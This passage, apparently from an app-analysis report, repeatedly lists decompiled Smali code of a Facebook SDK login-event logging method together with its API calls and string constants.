                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
